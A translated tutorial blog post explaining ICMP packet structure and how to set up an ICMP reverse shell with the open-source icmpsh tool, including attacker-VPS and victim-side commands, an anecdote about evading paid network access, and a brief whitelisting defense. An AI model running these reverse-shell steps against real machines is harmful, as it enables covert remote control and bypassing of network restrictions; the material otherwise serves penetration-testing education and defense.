Mastering ICMP Reverse Shells: Technical Insights, Implementation, and Defense Strategies

Preface

Review of the previous article:

Teach You Trojan Defense & Attack | Tunnel Trojan | Lesson One

In the previous article, we explained the commonly used port forwarding technology in trojans. This session explains the ICMP protocol in trojan communication protocols and implements a reverse shell through ICMP.

ICMP reverse shell >

Section One

Anecdote

The first time I heard about an ICMP tunnel, it started with free internet access. Back then, internet fees were quite expensive, and university students could easily go “broke” just by going online. When your internet fee was depleted, the network manager’s server would intercept your network requests, but it only intercepted TCP and UDP protocols, leaving ICMP protocol unhindered. You could still ping IPs, so I started wondering how to use an ICMP tunnel to forward access to a proxy I placed on the public network, using the proxy to relay access to the internet and thus achieve free internet access.

ICMP reverse shell >

Of course, using ICMP tunnels nowadays is more about bypassing some protocol restrictions to conduct penetration testing.

Section Two

Technical Principles

The most common use of ICMP protocol is the ping tool. When pinging www.baidu.com, you can see that ICMP protocol is a typical question-and-answer mode. The local machine sends an ICMP request packet to the Baidu server, and if the request packet successfully reaches the destination, the Baidu server responds with an ICMP response packet.

ICMP (Internet Control Message Protocol) is a sub-protocol in the IPv4 protocol suite that is used for delivering control messages between IP hosts and routers. Control messages are about network connectivity, host reachability, and route availability, among other network-related messages. ICMP messages are based on IP protocols, and their message format is as follows:

As shown in the picture above, the actual data packet transmitted via ICMP protocol consists of: 20-byte IP header + 8-byte ICMP header + 1472-byte 38-byte. The ICMP header is detailed as an 8-bit type + 8-bit code + 16-bit checksum + 16-bit identifier + 16-bit sequence number, where the value for type is of particular interest to us, notably request (value of 8) and response (value of 0).

The most straightforward approach is to use a packet capture tool to examine the contents of ICMP packets and separately view the ping packets sent from Windows and Linux platforms, noticing some differences.

On Windows 10, ping www.baidu.com:

I am particularly interested in the ICMP data area. This area is relatively large and can do many things. Windows 10 ping sends data by default as ‘abcdefghijklmnopqrstuvwabcdefghi’, totaling 32 bytes, and the content of the ICMP response packet’s data area is consistent with this, which is a characteristic of ping: request what you want, respond with the same.

Linux, however, is different. First, using tcpdump -i eth0 icmp -w icmp.pcap for packet capture, open the capture file with Wireshark for analysis, and discover that Linux ping sends data by default as 56 bytes. The first 8 bytes are a timestamp, while the remaining 48 bytes are relatively complex, with different contents each time. One consistent aspect is the last 23 bytes, which are ‘!”#$%&’()*+,-./01234567’. What about the middle 25 bytes? Let’s save that mystery for the next installment, haha.

It makes one wonder, is the ICMP data area limited to just this size? Of course not, it can be customized, for instance by specifying the -l parameter to ping, the size of the ICMP packet can be modified.

From the above, we understand the structure of the ping packet. If we want to transmit data via the ICMP protocol, the main operational space is in the data field. The ping tool adopts a method that requests specific content and then replies with the same content; thus the design of a reverse shell cannot use the ping tool and requires self-development.

Section Three

ICMP Reverse Shell

If friends have done penetration testing before, they must know about reverse shells. An ICMP reverse shell is merely a change of communication protocol to ICMP. Its basic architecture is as follows:

From the architecture diagram, it can be seen as a traditional C/S structure. The hacker starts the server on the VPS with a public IP, and the client is started on the controlled machine, with the client actively connecting to the server to achieve communication. Why does the client actively connect to the server? Because the controlled device is typically within a local network without a public IP.

Is there a corresponding open-source project? Of course, there is: https://github.com/inquisb/icmpsh/, which implements a simple ICMP reverse shell where the client is called ‘slave’ and the server is called ‘master’, both are essentially the same.

The master end is deployed on my own VPS with a public IP, first disabling its ICMP response:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1 (enable set to 0)

Then you can start the ICMP response program.

The first parameter is the public IP of the VPS, the second parameter is the public IP of the controlled machine. The public IP of the controlled machine is a bit confusing. Strictly speaking, this IP should be the IP seen by the server, why is this parameter needed? Mainly to populate the IP address of the ICMP packet. To acquire this IP, you can ping this VPS from the internal network terminal, and capture it with tcpdump -i eth0 icmp on the VPS, then fill it in.

First, start the command on VPS:

python icmpsh_m.py source ip destination ip

Then start the command on the controlled end:

icmpsh.exe -t destination ip

This way, the ICMP reverse shell is established and remote commands can be executed.

So how do you defend against an ICMP reverse shell? Actually, the feature is very obvious; establish a whitelist of the ping data area messages, intercept anything not in the whitelist. Of course, this also depends on the data being captured, as some businesses may use the ICMP protocol.